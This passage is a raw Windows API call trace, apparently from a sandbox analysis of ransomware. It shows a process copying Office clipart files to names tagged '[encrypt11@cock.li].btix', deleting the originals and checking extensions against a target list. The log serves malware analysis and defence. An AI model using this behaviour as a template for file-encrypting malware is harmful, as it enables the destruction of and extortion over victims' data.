lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x920e, lpOverlapped=0x0) returned 1 [0070.858] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x9210, lpOverlapped=0x0) returned 1 [0070.859] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.859] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.859] SetEndOfFile (hFile=0x358) returned 1 [0070.860] CloseHandle (hObject=0x358) returned 1 [0070.860] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.860] SetEndOfFile (hFile=0x32c) returned 1 [0070.860] CloseHandle (hObject=0x32c) returned 1 [0070.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0070.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.861] lstrlenW (lpString=".doc") returned 4 [0070.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.861] lstrlenW (lpString=".docx") returned 5 [0070.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.861] lstrlenW (lpString=".pdf") returned 4 [0070.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.861] lstrlenW (lpString=".xls") returned 4 [0070.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.861] lstrlenW (lpString=".xlsx") returned 5 [0070.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.861] lstrlenW (lpString=".ppt") returned 4 [0070.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.861] lstrlenW (lpString=".zip") returned 4 [0070.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.861] lstrlenW (lpString=".rar") returned 4 [0070.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.861] lstrlenW (lpString=".bz2") returned 4 [0070.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.862] lstrlenW (lpString=".7z") returned 3 [0070.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.862] lstrlenW (lpString=".dbf") returned 4 [0070.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.862] lstrlenW (lpString=".1cd") returned 4 [0070.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0070.862] lstrlenW (lpString=".jpg") returned 4 [0070.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.862] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.862] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.863] GetLastError () returned 0x0 [0070.863] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xfea, lpOverlapped=0x0) returned 1 [0070.869] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xff0, lpOverlapped=0x0) returned 1 [0070.869] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.870] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.870] SetEndOfFile (hFile=0x358) returned 1 [0070.870] CloseHandle (hObject=0x358) returned 1 [0070.870] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.870] SetEndOfFile (hFile=0x32c) returned 1 [0070.871] CloseHandle (hObject=0x32c) returned 1 [0070.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0070.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.871] lstrlenW (lpString=".doc") returned 4 [0070.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.871] lstrlenW (lpString=".docx") returned 5 [0070.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.871] lstrlenW (lpString=".pdf") returned 4 [0070.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.871] lstrlenW (lpString=".xls") returned 4 [0070.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.871] lstrlenW (lpString=".xlsx") returned 5 [0070.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.871] lstrlenW (lpString=".ppt") returned 4 [0070.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.872] lstrlenW (lpString=".zip") returned 4 [0070.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.872] lstrlenW (lpString=".rar") returned 4 [0070.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.872] lstrlenW (lpString=".bz2") returned 4 [0070.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.872] lstrlenW (lpString=".7z") returned 3 [0070.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.872] lstrlenW (lpString=".dbf") returned 4 [0070.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.872] lstrlenW (lpString=".1cd") returned 4 [0070.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0070.872] lstrlenW (lpString=".jpg") returned 4 [0070.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.873] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.873] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.873] GetLastError () returned 0x0 [0070.873] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x20e8, lpOverlapped=0x0) returned 1 [0070.882] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x20f0, lpOverlapped=0x0) returned 1 [0070.883] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.883] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.883] SetEndOfFile (hFile=0x358) returned 1 [0070.883] CloseHandle (hObject=0x358) returned 1 [0070.883] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.883] SetEndOfFile (hFile=0x32c) returned 1 [0070.884] CloseHandle (hObject=0x32c) returned 1 [0070.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.884] lstrlenW (lpString=".doc") returned 4 [0070.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.884] lstrlenW (lpString=".docx") returned 5 [0070.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.884] lstrlenW (lpString=".pdf") returned 4 [0070.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString=".xls") returned 4 [0070.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.885] lstrlenW (lpString=".xlsx") returned 5 [0070.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.885] lstrlenW (lpString=".ppt") returned 4 [0070.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.885] lstrlenW (lpString=".zip") returned 4 [0070.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.885] lstrlenW (lpString=".rar") returned 4 [0070.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString=".bz2") returned 4 [0070.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString=".7z") returned 3 [0070.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.885] lstrlenW (lpString=".dbf") returned 4 [0070.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.885] lstrlenW (lpString=".1cd") returned 4 [0070.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0070.885] lstrlenW (lpString=".jpg") returned 4 [0070.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.885] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.885] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.886] GetLastError () returned 0x0 [0070.886] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0070.924] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0070.925] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.925] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.925] SetEndOfFile (hFile=0x358) returned 1 [0070.961] CloseHandle (hObject=0x358) returned 1 [0070.961] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.961] SetEndOfFile (hFile=0x32c) returned 1 [0070.962] CloseHandle (hObject=0x32c) returned 1 [0070.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0071.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.007] lstrlenW (lpString=".doc") returned 4 [0071.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.007] lstrlenW (lpString=".docx") returned 5 [0071.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.007] lstrlenW (lpString=".pdf") returned 4 [0071.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.007] lstrlenW (lpString=".xls") returned 4 [0071.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.007] lstrlenW (lpString=".xlsx") returned 5 [0071.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.007] lstrlenW (lpString=".ppt") returned 4 [0071.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.007] lstrlenW (lpString=".zip") returned 4 [0071.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.008] lstrlenW (lpString=".rar") returned 4 [0071.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.008] lstrlenW (lpString=".bz2") returned 4 [0071.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.008] lstrlenW (lpString=".7z") returned 3 [0071.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.008] lstrlenW (lpString=".dbf") returned 4 [0071.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.008] lstrlenW (lpString=".1cd") returned 4 [0071.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0071.008] lstrlenW (lpString=".jpg") returned 4 [0071.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.013] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.013] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0071.015] GetLastError () returned 0x0 [0071.015] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x12bc, lpOverlapped=0x0) returned 1 [0071.143] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x12c0, lpOverlapped=0x0) returned 1 [0071.272] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.272] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.273] SetEndOfFile (hFile=0x318) returned 1 [0071.275] CloseHandle (hObject=0x318) returned 1 [0071.275] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.275] SetEndOfFile (hFile=0x354) returned 1 [0071.276] CloseHandle (hObject=0x354) returned 1 [0071.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0071.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.278] lstrlenW (lpString=".doc") returned 4 [0071.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.278] lstrlenW (lpString=".docx") returned 5 [0071.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.278] lstrlenW (lpString=".pdf") returned 4 [0071.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.278] lstrlenW (lpString=".xls") returned 4 [0071.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.278] lstrlenW (lpString=".xlsx") returned 5 [0071.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.278] lstrlenW (lpString=".ppt") returned 4 [0071.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.278] lstrlenW (lpString=".zip") returned 4 [0071.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.278] lstrlenW (lpString=".rar") returned 4 [0071.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.278] lstrlenW (lpString=".bz2") returned 4 [0071.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.278] lstrlenW (lpString=".7z") returned 3 [0071.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.279] lstrlenW (lpString=".dbf") returned 4 [0071.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.279] lstrlenW (lpString=".1cd") returned 4 [0071.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0071.279] lstrlenW (lpString=".jpg") returned 4 [0071.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.279] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.279] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0071.281] GetLastError () returned 0x0 [0071.281] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x43fe, lpOverlapped=0x0) returned 1 [0071.304] WriteFile (in: hFile=0x354, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4400, lpOverlapped=0x0) returned 1 [0071.305] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.305] WriteFile (in: hFile=0x354, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.305] SetEndOfFile (hFile=0x354) returned 1 [0071.310] CloseHandle (hObject=0x354) returned 1 [0071.310] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.310] SetEndOfFile (hFile=0x324) returned 1 [0071.314] CloseHandle (hObject=0x324) returned 1 [0071.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0071.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.316] lstrlenW (lpString=".doc") returned 4 [0071.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString=".docx") returned 5 [0071.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.316] lstrlenW (lpString=".pdf") returned 4 [0071.316] lstrcmpiW (lpString1=".pdf", 